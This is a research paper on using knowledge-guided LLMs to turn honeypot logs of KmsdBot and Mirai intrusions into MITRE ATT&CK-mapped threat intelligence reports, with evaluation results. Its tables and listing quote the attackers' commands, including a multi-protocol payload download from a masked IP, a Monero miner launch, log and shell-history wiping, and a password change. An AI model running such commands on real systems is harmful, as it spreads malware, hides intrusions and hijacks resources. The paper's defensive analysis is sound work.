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Abstract. Botnets are large-scale networks of compromised devices that
enable attackers to launch coordinated cyberattacks such as DDoS, cre-
dential theft, cryptojacking, and malware propagation. Their rapid prop-
agation and stealth techniques make early detection and timely response
particularly challenging. Cyber Threat Intelligence (CTI) is essential for
mitigating such threats, but its production is still predominantly man-
ual, requiring analysts to interpret raw logs and this process is too slow,
resource-intensive, and difficult to scale against automated botnets.
In this paper, we propose a novel approach to automate botnet CTI
generation directly from honeypot-captured intrusions. We rely on high-
interaction honeypots to capture various botnet samples. The collected
data is then analyzed using large language models (LLMs), guided by
structured prompts constructed from previously observed botnet actions
mapped to the MITRE ATT&CK framework. We first perform man-
ual analyses of real botnet sessions to construct structured datasets of
tactics, techniques, and procedures (TTPs) for each botnet intrusion.
These resources are then used for prompt engineering, enabling LLMs
to transform raw system and network logs into structured CTI reports
through in-context learning (ICL). Preliminary results demonstrate that
LLMs can generate coherent and actionable reports, which can help in
understanding the operating modes of botnets and in developing effective
countermeasures.

Keywords: cyber threat intelligence (CTI) · honeypot · large language
model (LLM) · botnet analysis · MITRE ATT&CK

1 Introduction

Over the past decade, botnets remain a persistent and evolving threat in the
cybersecurity landscape [30]. By compromising large numbers of vulnerable ma-
chines, adversaries build infrastructures that can be leveraged for cryptomin-
ing, distributed denial-of-service (DDoS) attacks, credential theft, and other
malicious campaigns [24]. For defenders, CTI reports are critical: they distill
raw intrusion evidence into actionable knowledge. However, producing CTI is a
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resource-intensive process, as it requires manual log analysis and expert inter-
pretation, tasks that do not easily scale with the pace and diversity of modern
botnets.

LLMs offer a potential breakthrough by automatically summarizing and in-
terpreting intrusion data [19]. Yet, their application to CTI faces important
challenges. When used naively, LLMs tend to hallucinate non-existent tools,
misclassify commands, or miss attacker intent. More fundamentally, they lack
grounding in domain knowledge: generic LLMs are not aware of how real bot-
nets behave, nor how to consistently align evidence with MITRE ATT&CK [27].
This results in reports that are often inconsistent, incomplete, or misleading for
security analysts.

In this work, we address these challenges by designing a semi-automated
pipeline that combines LLM reasoning with prior knowledge injection through in-
context learning (ICL) [8] and prompt engineering [7]. ICL refers to the ability of
LLMs to learn from examples provided in the prompt, while prompt engineering
consists in designing these prompts to steer the model’s behavior effectively.

Our approach leverages structured knowledge derived from past botnet in-
trusions to guide the model in analyzing new ones. By supplying exemplars of
tactics, techniques, procedures, and their interpretations, the LLM is steered
toward more accurate ATT&CK mappings and richer CTI outputs. This design
not only improves classification fidelity but also enables the knowledge base to
grow iteratively: each newly analyzed intrusion contributes back to the pool of
exemplars.

We implement and evaluate this pipeline on six intrusions drawn from two
real-world botnet families, KmsdBot and Mirai, captured via high-interaction
honeypots [11]. In total, the dataset comprises 148 procedures1, each manually
annotated by analysts with ground-truth ATT&CK techniques. Comparing CTI
reports generated with and without ICL shows that knowledge injection sub-
stantially improves both precision and F1-scores, while also producing reports
that better capture attacker intent. At the same time, we highlight remaining
limitations, including handling of overly generic commands and scenarios under-
represented in the knowledge base.

The main contributions of this work can be summarized as:

(i) We design a semi-automated pipeline for generating CTI reports from botnet
activity logs, combining LLMs with structured prior knowledge.

(ii) We demonstrate that in-context learning with exemplars from past intrusions
improves the fidelity of MITRE ATT&CK mappings, reducing spurious or
shallow classifications.

(iii) We provide an empirical evaluation on six real-world intrusions (148 proce-
dures) from KmsdBot and Mirai, showing consistent improvements in CTI
quality with knowledge injection.

The rest of the paper is organized as follows. Section 2 reviews related work
on botnet analysis and LLM-based CTI generation. Section 3 summarizes our
1 We define a procedure as one or more logically grouped commands that represent a

single attacker action, mapped to a MITRE ATT&CK technique.



Towards Automated Botnet CTI with Knowledge-Guided LLMs 3

manual analysis methodology used to establish ground truth. Section 4 details
the design of our semi-automated CTI generation pipeline. Section 5 presents
the evaluation setup and results on six real-world intrusions. Section 6 discusses
the findings, improvements from in-context learning, and remaining limitations.
Finally, Section 7 concludes the paper and outlines directions for future work.

2 Related work

2.1 Literature review on botnet analysis

Most existing research on botnet analysis focuses primarily on botnet detection,
with a strong emphasis on network traffic behavior analysis. For instance, Torres
et al. [29] and Zhao et al. [33] explore the use of machine learning, including
Recurrent Neural Networks, to detect botnets by modeling sequential traffic
patterns. These approaches are promising for identifying known or structurally
similar threats. However, they rely exclusively on network-level data, offering
limited insight into the broader operational context of the botnet. This limitation
becomes especially critical when facing stealthy or evasive botnets that blend
with legitimate traffic or utilize encrypted peer-to-peer communication [10,22]

To improve detection coverage, Almutairi et al. [1] proposed HANABot, a
hybrid framework combining network flow analysis with host-based monitoring.
The host analyzer tracks registry activity, file system changes, and process execu-
tion time using behavioral correlation modules. While this dual-layer approach
enhances early-stage detection, it depends on the integrity of the monitored
host. As their study notes, host-resident bots may tamper with local monitoring
mechanisms, reducing detection reliability.

Trajanovski and Zhang introduced IoT-BDA [30], an automated framework
that integrates honeypots with sandbox analysis to collect, analyze, and report
on IoT botnet samples. The system identifies indicators of compromise, per-
sistence mechanisms, and anti-analysis techniques, and generates CTI reports
from the findings. While effective at scale, this approach is limited in three key
ways: (1) it is narrowly focused on IoT botnets, which limits its applicability to
broader Linux-based threats; (2) the generated reports primarily list technical
artifacts without providing a deeper behavioral understanding of attacker tac-
tics and goals; and (3) it relies largely on low-interaction honeypots that emulate
only a limited set of services, making them easily identifiable and bypassable by
sophisticated botnets.

To the best of our knowledge, no prior work has aimed to produce structured,
publicly shareable botnet CTI reports from honeypots that could help other
cybersecurity practitioners defend their systems against similar botnet threats.

2.2 LLM applications in cybersecurity analysis

LLMs are a type of deep learning model trained on vast amounts of textual data
to understand, generate, and manipulate human language [17]. They are in-
creasingly used in cybersecurity due to their ability to understand and generate
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human-like language. They support both defensive and offensive applications.
On the defensive side [17], LLMs can assist in identifying threats [18], protecting
systems [5], detecting anomalies [20], and responding to incidents [16]. Offen-
sively, LLMs can be leveraged by attackers to gain access to credentials [25], to
perform defense evasion [6], and execute malware in target companies [4]. Recent
research on LLMs has explored their use in various cybersecurity tasks such as
log analysis [31], phishing detection [15], vulnerability scanning [13], and mal-
ware detection [2]. Traditional log analysis techniques often rely on predefined
rules or machine learning models trained on specific formats, which makes them
limited when facing heterogeneous log sources or evolving attack patterns. In
contrast, LLMs can generalize across diverse log types, identify anomalous be-
haviors, and provide human-readable explanations of suspicious activities. For
example, Yang et al. [12] demonstrate that LLMs are capable of parsing complex
system logs, detecting potential intrusions, and generating summaries that assist
analysts in correlating events across different sources. This ability to transform
raw, unstructured log data into contextualized intelligence highlights the poten-
tial of LLMs to reduce analyst workload and accelerate incident investigation.
These models have demonstrated the ability to automate routine analysis, assist
incident response teams, and reduce the burden on human analysts [9]. How-
ever, Ferrag et al. [9] highlight that the vast majority of existing work focuses on
the Protect and Detect functions of the NIST Cybersecurity Framework, leav-
ing significant gaps in the areas of Identify, Respond, and particularly Recover.
This indicates a need for more holistic LLM-based systems capable of supporting
end-to-end threat intelligence and response workflows.

Unlike prior LLM-based log analysis work, which focuses mainly on anomaly
detection or summarization of single log streams, our approach integrates host-
and network-level telemetry from high-interaction honeypots and produces struc-
tured CTI reports mapped to MITRE ATT&CK. This shifts the focus from
log-level detection to analyst-ready intelligence.

2.3 Botnet data collection via high-interaction honeypots

To collect realistic and diverse botnet intrusion data, we employed the Poneypot
project [28], an internally developed high-interaction honeypot framework. This
choice overcomes the limitations of low-interaction honeypots such as T-Pot [26]
and Cowrie [21], which emulate only a narrow set of services and can be easily
fingerprinted by sophisticated adversaries. Built on top of the URSID frame-
work [3], Poneypot enables rapid deployment of Linux-based honeypots with
configurable protocols and system profiles. Each instance runs in a network-
isolated virtual environment with strict outbound filtering, ensuring that com-
promised hosts cannot participate in real-world attacks while still appearing as
legitimate, exploitable targets.

A key feature of this system is its integrated monitoring layer, which records
all botnet activity within the honeypot and generates alerts upon compromise,
enabling timely detection and correlation with subsequent botnet activity. The
platform captures both host-level telemetry (e.g., process execution, file system
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modifications, authentication logs) and network-level telemetry (e.g., inbound
and outbound connections, command-and-control traffic, binary retrievals). These
artifacts are continuously collected and stored on a central analysis server, pro-
viding a comprehensive record of botnet behavior that serves as the foundation
for both manual analysis and automated CTI generation.

3 Manual analysis: mapping botnet activities to the
MITRE ATT&CK framework

To better understand botnet behavior and guide the structure of automated CTI
generation, we conducted manual analysis of real-world botnet samples collected
via our honeypots.

3.1 KmsdBot case study

As a representative case, we present a manual analysis of a KmsdBot infection
captured by one of our honeypots. This analysis was conducted on an Internet-
exposed honeypot virtual machine that was breached in March 2024.

The activity of this botnet spans four discrete intrusion sessions, with a cu-
mulative presence on the compromised system totaling 75 minutes. Each session
exhibited a distinct operational objective. The first session established the initial
compromise by installing the botnet payload (namely watchdogRS). The second
session connected the infected host to the botnet’s command-and-control (C2)
infrastructure. The third session focused on eliminating competing processes,
profiling system resources, and initiating Monero cryptomining. The final session
aimed to establish long-term persistence by modifying local account credentials.

Across these four sessions, the attacker executed 242 Bash commands, down-
loaded 3 malicious samples, and initiated two outbound connections to an exter-
nal host. Table 1 synthesizes the botnet’s observed activity across the four intru-
sion sessions. The table enumerates the stage of the attack mapped to a MITRE
ATT&CK tactic, the raw command observed during execution, the inferred pur-
pose of that action, and the broader technique classification. The color-coding
of the observation cells indicates the temporal sequence of events (one color for
each session).

This analysis yields several Indicators of Compromise (IOCs), including ma-
licious file hashes, IP addresses, filenames and paths of used binaries, specific
command-line patterns, and usernames or modified system accounts. Table 2
gives a subset of these IOCs; for privacy-preserving reasons, the real IP values
are not presented here. An additional advantage of our approach is that the
knowledge base can be continuously updated: when new variants of the bot-
net are observed, the corresponding IOCs are incorporated, ensuring that the
generated threat intelligence remains up to date.
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Table 1: KmsdBot activities summarized. Raw observation cells are shaded by
session: blue (Session 1), green (Session 2), orange (Session 3), yellow (Session 4).
Technique (ID) Raw observation Purpose

System Information Discovery
(T1082)

uname -a OS fingerprinting

Process Discovery (T1057) ps aux | grep watchdogRS Check if already infected

Ingress Tool Transfer (T1105) wget/curl/tftp ...
watchdogRS Download payload

Command & Scripting
Interpreter (T1059.004)

chmod 777 watchdogRS;
./watchdogRS ... Run bot binary

Impair Defenses: Disable or
Modify Tools (T1562.001)

echo ’fs.file-max = 2097152’
> /etc/sysctl.conf; sysctl
-p;ulimit -Hn; ulimit -n
99999 -u 99999

Bypass system resource
limitations

Indicator Removal on Host
(T1070.004)

rm -rf kthreadRM* rls* Clean old files

Hide Artifacts (T1564.004) cd /dev/shm || cd /tmp ... Use temp dirs
Ingress Tool Transfer (T1105) wget/curl/tftp/ftp ... rls Download C2 binary (rls)
Command & Scripting
Interpreter (T1059.004)

chmod 777 rls; ./rls Execute rls to establish C2
connection

Indicator Removal on Host
(T1070.004)

rm -rf secure; rm -rf
lastlog; rm -rf messages... Erase system logs

Disable or Modify Tools
(T1562.001)

touch secure; touch
lastlog;touch messages... Recreate empty log files to

mask deletions

System Information Discovery
(T1082)

uname -a; cat /proc/cpuinfo
...

Profile CPU

Process Discovery (T1057) ps aux | grep xrx Check miner presence

Impair Defenses (T1562) kill -9 $(ps aux | grep xrx
...)

Kill competitors

Ingress Tool Transfer (T1105) wget/curl ... sshds Download miner
Command & Scripting
Interpreter (T1059.004)

chmod 777 sshds Enable execution

Resource Hijacking (T1496) ./sshds -o
pool.hashvault.pro ... Mine Monero

Privilege Escalation (T1548) /sbin/modprobe msr
allow_writes=on

CPU tuning

System Information Discovery
(T1082)

uname -a System profiling

Account Discovery
(T1087.001)

cat /etc/passwd Enumerate users

Account Manipulation
(T1136.001)

echo -e "user
nsrLQduGUDJzh1fp..." |
passwd

Change password

Server Software Component
(T1505.003)

nohup sh /tmp/.ssh/b & Hidden backdoor

Indicator Removal on Host
(T1070.004)

rm -rf .bash_history; touch
.bash_history Clear shell history

Clear Command History
(T1070.003)

unset HISTFILE; history -c Wipe shell history
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Table 2: Indicators of Compromise (IOCs) extracted from KmsdBot intrusions.

IOC Type Extracted Value(s) Supporting Command

IP Address 91.92.X.X wget -q
http://91.92.X.X/x86_64/<bin>

File Names watchdogRS, rls, sshds curl -s -o <bin>

File Path /etc/sysctl.conf rm -rf /etc/sysctl.conf

Domain pool.hashvault.pro:80 ./sshds -o
pool.hashvault.pro:80

Command
Pattern

kill -9 $... kill -9 $(ps aux | grep
xrx | awk ’{print $2}’)

Username user echo -e
"user\nsrLQduGUDJzh1fp" |
passwd

3.2 Insights from botnet manual analyses: an empirical kill chain
model for botnet operations

Several models have been proposed to describe the lifecycle of cyberattacks.
The classical Cyber Kill Chain model introduced by Lockheed Martin defines a
strictly linear progression of attacker activities, from reconnaissance to actions
on objectives [32]. In contrast, Pol proposed a more circular representation,
highlighting iterative feedback loops that characterize the behavior of adaptive
human adversaries [23]. Building on this, Berady et al. (2020) suggested that
human-driven intrusions often involve revisiting earlier stages—such as discovery
or lateral movement—before reaching their final objective. More recently, Kilian
et al. (2025) demonstrated in [14] that human attackers operating in unfamiliar
environments frequently return to the discovery phase, adapting their tactics
based on newly acquired knowledge.

However, our observations reveal that botnet behavior follows a highly linear
and deterministic execution pattern. This is probably a direct consequence of
the autonomous and scripted nature of botnet operations. Once initial access is
obtained, the malware advances through a predefined sequence of stages without
revisiting phases. In cases where a specific action fails, we found no evidence of
adaptive behavior or fallback logic, as would typically be seen in human-driven
campaigns.

Nevertheless, the commands executed by these bots are deliberately engi-
neered to minimize failure as exemplified by the command depicted on Listing1.1.
This command attempts to retrieve the same binary using multiple protocols in
a single line to maximize delivery success. Figure 1 presents a refined kill chain
model tailored to such automated botnet campaigns, grounded in empirical data
we collected.
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Listing 1.1: Multi-protocol download command used by the bot to maximize
payload retrieval success.

1 wget -q http ://91.92.X.X/x86_64/watchdogRS || \
2 curl -s -o watchdogRS 91.92.X.X/x86_64/watchdogRS || \
3 tftp 91.92.X.X -c get /x86_64/watchdogRS || \
4 tftp -r /x86_64/watchdogRS -g 91.92.X.X || \
5 ftpget -v -u anonymous -p anonymous -P 21 91.92.X.X -c get /x86_64/watchdogRS

Fig. 1: Botnet Lifecycle

Through our manual analyses, we observed that the behavior of botnets
compromising Linux systems can be systematically documented by interpreting
the intent behind the commands they execute. The linear nature of the botnet kill
chain provides a natural backbone for structuring CTI reports. In the following
section, we examine how LLMs can be leveraged to automate part of this task
then we propose to assess their ability to produce reliable CTI reports.

4 Automated CTI report generation pipeline

We now propose an end-to-end workflow for generating botnet CTI reports from
high-interaction honeypots. As summarized in Figure 2, the pipeline combines
script-driven preprocessing with LLM-based reasoning to transform heteroge-
neous telemetry into structured, analyst-ready intelligence. Crucially, the LLM
is guided by prior manual analyses such as those presented in the previous sec-
tion.

The proposed pipeline unfolds through six main phases: (i) data collection of
raw network and host telemetry from compromised honeypots, (ii) context ex-
traction to derive structured artifacts such as authentication events and dropped
binaries, (iii) threat knowledge curation into a reusable knowledge base, (iv) con-
textual prompt construction, (v) LLM processing of segmented sessions, and (vi)
CTI report generation producing structured, analyst-ready intelligence.
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When a honeypot is compromised, the monitoring layer raises an alert after
detecting the access through the authentication log file. We allow the botnet to
operate within the honeypot for up to 24 hours in order to capture a complete
view of its behavior and observe the full range of actions it attempts to perform.
After this period of time the VM is powered off and its disk mounted in read-
only mode to preserve forensic integrity, thereby ensuring that the experiment
does not contribute to further propagation of the botnet within the wild. From
a separate analysis host, we collect (i) raw network captures (pcap) and (ii) host
telemetry (audit logs and metadata).

Phase 1: Data collection In this phase, we collect raw evidence from botnet
compromises: Linux audit logs and packet captures from the monitoring server,
together with filesystem metadata from the mounted VM disk. The collected
evidence is divided into three complementary sources, each providing a distinct
view of attacker behavior:

– Network telemetry: Packet captures are processed with Suricata to ex-
tract candidate Indicators of Compromise (IOCs), including C2 IPs, do-
mains, URIs, and payload retrieval endpoints. Both rule matches and flow-
level context are retained for later correlation.

– Host telemetry: Linux audit logs provide visibility into executed com-
mands and system activity, enabling reconstruction of the attacker’s actions
during each session.

– Filesystem metadata: Mounted disk analysis reveals additional artifacts
such as /var/log/auth.log, ˜/.ssh/authorized_keys, /etc/cron.d/, /tmp,
and /var/tmp, which help categorize the botnet and provide a fuller picture
of its persistence and impact on the host.

These three evidence streams are then consolidated and fed to the next phase
for compact context extraction.

Phase 2: Context extraction From the collected data we derive a compact, struc-
tured context that will guide the model. Key extracted elements include:

– Authentication context: derived from auth.log and aureport outputs,
capturing successful and failed login attempts, usernames, source addresses,
and access vectors (e.g., weak SSH credentials).

– System changes: file and process creations, configuration edits, privilege/esca-
lation attempts, and log tampering inferred from audit events.

– Dropped binaries: file paths, filenames, available hashes, and lightweight
static hints (e.g., ELF vs. script, suspicious file permissions).

The goal of this phase is to transform raw telemetry and filesystem metadata
into a compact, machine-readable context stored in a structured JSON file. This
context is later supplied to the LLM as prior knowledge in the prompt.
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Phase 3: Knowledge injection Each knowledge-base entry contains the compact
context produced in Phase 2 and a detailed attack sequence aligned to MITRE
ATT&CK. The attack sequence is organized as follows: commands observed in
the logs are treated as procedures (the atomic action units), each procedure is
grouped under a specific technique (how the adversary achieves a sub-goal), and
techniques are associated with a tactic (the attacker’s higher-level objective).
For each procedure we store the original (normalized and decoded) command,
a short role statement (what the command does), and an interpretation that
explains why the command is malicious in the context of the intrusion. Entries
also include attendant artifacts and IoCs (file paths, hashes when available,
filenames, network indicators) and the chronological position of the procedure
in the session. In practice, analysts currently build and validate these JSON
records manually: they review the Phase 2 context, canonicalize and number
commands, assign MITRE technique IDs, and write concise interpretations. A
small subset of representative entries is then selected as few-shot exemplars and
injected into the LLM prompt to bias the model toward consistent, faithful
ATT&CK mappings. While manual curation ensures expert-quality exemplars,
this phase is amenable to partial automation (e.g., clustering similar procedures,
automated technique-suggestion) and to future retrieval-augmented designs that
select exemplars automatically from the knowledge base.

Phase 4: Contextual prompt construction In this phase we build a task-specific
prompt for the LLM: its job is to turn the session context into a structured
CTI report that maps observed procedures to MITRE ATT&CK techniques,
explains why each mapping is valid, lists supporting IOCs, and proposes short
mitigations.

The prompt is plain text but follows a fixed layout:

– Header and objective: a short instruction asking the model to produce a
structured CTI summary with ATT&CK mappings and strict rules (e.g., if
uncertain, assign Technique: Unknown (UNK)).

– Current intrusion context: the compact context from Phase 2 (authen-
tication events, system changes, dropped binaries) and the ordered list of
commands for the session.

– Few-shot exemplars: representative entries taken from the JSON knowl-
edge base (they come from past intrusions and explicitly exclude the current
session).

– Output schema hint: a short reminder of the desired sections (Overview
→ TTPs → IOCs → Recommended mitigations) and the requirement to cite
the commands that support each technique.

– Intrusion data: the raw commands and evidence of the botnet sample
under analysis are added at the end of the prompt. For long sessions, the
events are split into logical chunks and processed sequentially so the model
can handle the full sequence without losing context.

Once the prompt has been fully assembled with context, exemplars, schema
guidance, and the intrusion data, it is submitted to the LLM for processing.
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Phase 5: LLM processing We invoke Gemini-2.0-flash via API from a Python
script. Each session prompt is processed independently, with temperature kept
low and the maximum output length explicitly bounded to control generation
variability. The driver script breaks long intrusion sessions into smaller, logically
coherent chunks, processes each chunk sequentially with the LLM, and then
merges the partial analyses into a single session report. For each chunk, the
script enriches the prompt with a small set of representative few-shot examples
retrieved from the knowledge base based on similarity of commands and IOCs.

Phase 6: CTI report generation The model’s responses are assembled into a
human-readable Markdown report. For each session we include: (i) a one-paragraph
overview of objectives, (ii) a section of ATT&CK mappings where numbered
commands are linked to techniques with short roles and interpretations, (iii) a
concise attack chain narrative that explains the flow of actions, (iv) an Indicators
of Compromise (IoCs) section grouping extracted artifacts such as IP addresses,
file paths, file names, and domain names, and (v) a Recommended Mitigations
section that lists relevant ATT&CK mitigation identifiers together with short
explanatory notes.

Fig. 2: CTI Generation Pipeline
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5 Evaluation

Evaluation setup We evaluated our CTI generation pipeline on six real-world
intrusion incidents (see Table 3) collected from our honeypots: four from Kms-
dBot and two from Mirai. Ground-truth mappings were established manually
by three independent analysts with experience in threat intelligence, who an-
notated each procedure with its most appropriate MITRE ATT&CK technique
and tactic. Each analyst performed the labeling independently following shared
annotation guidelines that defined the mapping criteria and the level of granu-
larity for associating commands to ATT&CK techniques. To ensure consistency,
a joint review was conducted to discuss and resolve all disagreements until a
consensus was reached. In total, the evaluation covers 148 procedures extracted
from the six intrusions. For each intrusion, our pipeline generated two reports:
(i) one without prior knowledge injection (No ICL), and (ii) one with in-
context learning (With ICL) using exemplars from previously analyzed intru-
sions. Comparing these reports to the ground truth allows us to quantify the
improvements introduced by knowledge injection.

Table 3: Intrusions considered in the evaluation.
ID Botnet Description Duration / Procedures
KmsdBot intrusions
1 KmsdBot Initial compromise by installing the

botnet payload.
5 seconds / 16 procedures

2 KmsdBot Connection of the infected host to the
botnet’s C2 infrastructure.

7 seconds / 12 procedures

3 KmsdBot Elimination of competing processes,
profiling of system resources, and ini-
tiation of Monero cryptomining.

74 minutes / 10 procedures

4 KmsdBot Establishment of long-term persistence
through modification of local account
credentials.

32 seconds / 10 procedures

Mirai intrusions
5 Mirai Payload installation by downloading

and executing multi-architecture bina-
ries (e.g., sh, mips, x86, arm).

784 minutes / 20 procedures

6 Mirai Repeated propagation attempts using
a wider set of architecture-specific bi-
naries (e.g., arm5, ppc, arc).

79 minutes / 80 procedures

Metrics: We report Precision, Recall, and F1-score for comparing LLM-generated
CTI reports with the ground truth. In this context, Precision measures how
many of the predicted ATT&CK mappings are correct, i.e., a higher value in-
dicates fewer noisy or irrelevant mappings. Recall measures how many of the
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ground-truth mappings were recovered, i.e., a higher value indicates better cov-
erage of the actual attack behavior. The F1-score balances both, serving as an
indicator of the overall faithfulness of the generated reports.

Results: Table 4 presents the detailed results for each intrusion, comparing runs
with and without ICL. We observe consistent gains in both Precision and F1 for
most intrusions when prior knowledge is injected. For example, Intrusion 1 shows
an increase in Precision from 0.18 to 0.73, while Recall doubles from 0.12 to 0.50.
By contrast, Intrusion 6 shows almost no improvement. This can be explained
by the absence of exemplars in our knowledge base covering the specific attack
behavior observed in this case. Nevertheless, the new insights gained from this
intrusion will be added to the knowledge base, so that future botnets with similar
behaviors can be handled more effectively. In this way, as more botnet samples
are analyzed, the knowledge base is continuously enriched and the effectiveness
of ICL is expected to improve further. Overall, ICL reduces spurious mappings
and improves the alignment of commands with appropriate techniques.

Table 4: Evaluation results across six intrusions.
No ICL With ICL

Intrusion Precision Recall F1 Precision Recall F1

1 0.18 0.12 0.15 0.73 0.50 0.59
2 0.22 0.17 0.19 0.78 0.58 0.67
3 0.29 0.20 0.24 0.57 0.40 0.47
4 0.22 0.20 0.21 0.56 0.50 0.53
5 0.32 0.35 0.33 0.68 0.75 0.71
6 0.55 0.53 0.54 0.56 0.53 0.54

Average 0.30 0.26 0.28 0.65 0.54 0.58

6 Discussion

Our evaluation shows that injecting prior knowledge through ICL improves the
quality of CTI reports in most intrusions. For example, in Intrusion 1 the com-
mand nohup sh /tmp/.ssh/b & was misclassified in the baseline (No-ICL) as
Scheduled Task (T1053), which does not faithfully capture the persistence mech-
anism. With ICL, it was correctly mapped to Persistence via Web Shell / Com-
ponent (T1505.003), highlighting the attacker’s intent to maintain long-term
access. Similarly, the command kill -9 $(ps aux | grep kthreaddk | awk
’{print $2}’) was mapped by the baseline to Process Termination (T1489),
describing only the immediate effect. With ICL, however, it was mapped to
Impair Defenses (T1562.001), better reflecting the intent to disable competing
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malware and secure exclusive control of system resources. These examples illus-
trate how contextual exemplars help the model go beyond surface-level actions
and better capture attacker intent.

Despite these improvements, some limitations remain. A first issue comes
from commands that are too generic or appear in both benign and malicious con-
texts, which makes them difficult to classify even with ICL. For example, in the
ICL reports, simple file download commands such as wget http://X.X.X.X/bin
were occasionally mapped to Command and Scripting Interpreter (T1059) rather
than the more appropriate Ingress Tool Transfer (T1105). The latter is more pre-
cise because the command’s primary role in this context is to fetch and transfer a
malicious binary from a remote server, not to execute a script. Without explicit
prior exemplars, however, the model sometimes over-generalized.

Finally, Intrusion 6 highlights another limitation: despite applying ICL, the
mappings did not improve significantly. This intrusion focused on Mirai propa-
gation through repeated downloads and execution of multi-architecture binaries
(e.g., wget .../arm5; chmod +x arm5; ./arm5). Since our knowledge base did
not yet contain similar propagation patterns, the exemplars provided to the
model were of limited relevance. As a result, the generated mappings remained
inconsistent with the ground truth. This suggests that the effectiveness of ICL
depends strongly on the diversity and coverage of the prior knowledge base.

Overall, these examples show that while ICL substantially improves the faith-
fulness, several challenges remain. These include the difficulty of handling overly
generic commands, the limited coverage of the current knowledge base, and the
need to refine prompt design to better disambiguate borderline cases.

A more subtle issue arises from the risk of overfitting to past exemplars. When
the injected samples closely resemble previously seen attack patterns, the model
may become biased and fail in recognizing novel or subtle behaviors that deviate
from those prior patterns, ultimately limiting the system’s ability to generalize.
In addition, our current pipeline still depends on manual curation of knowl-
edge exemplars. While this ensures high-quality mappings and interpretability,
it also introduces potential bias and limits the system’s ability to generalize to
previously unseen botnet behaviors. Because the injected knowledge reflects an-
alysts’ prior experience, the model may overfit to well-documented tactics and
underperform on novel or rare procedures. To mitigate this limitation, we plan
to automate exemplar selection using clustering and retrieval-augmented gener-
ation (RAG) so that representative cases can be dynamically retrieved from a
larger and more diverse knowledge base.

7 Conclusion and future work

This paper introduced a semi-automated pipeline for generating CTI reports
from botnet intrusions using LLMs guided by prior knowledge. By integrating
contextual exemplars from previously analyzed attacks into the prompt, the
system produces reports that are more faithful to attacker behavior and better
aligned with MITRE ATT&CK techniques.
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Our evaluation on six intrusions from two botnet families (KmsdBot and
Mirai), covering a total of 148 procedures, shows that ICL consistently improves
report quality. In particular, average F1-scores nearly doubled across cases (from
0.28 without ICL to 0.58 with ICL), demonstrating the clear value of injecting
prior knowledge into LLM-based CTI generation. Examples such as persistence
mechanisms and defense evasion commands show how ICL enables the model to
capture attacker intent rather than producing surface-level mappings.

Despite these promising results, some limitations remain. Log preprocess-
ing still requires partial manual intervention, and the current knowledge base is
manually curated, which constrains scalability. The evaluation was limited to two
botnet families, and broader coverage is required to assess generalizability. Fur-
thermore, experiments were conducted with a free-tier LLM (gemini-2.0-flash);
while efficient, it offers limited reasoning capacity compared to more advanced
models.

Future work will focus on extending the evaluation to more botnet families
and diverse intrusion campaigns, automating data preprocessing, and improv-
ing knowledge injection. A promising direction is to evolve from simple JSON
exemplars toward retrieval-augmented generation backed by a structured knowl-
edge base or graph. Longer term, fine-tuning domain-specific LLMs on curated
intrusion datasets could yield more consistent mappings and enable continuous-
learning CTI systems, where each new intrusion enriches the knowledge base
and strengthens defenses against future threats.
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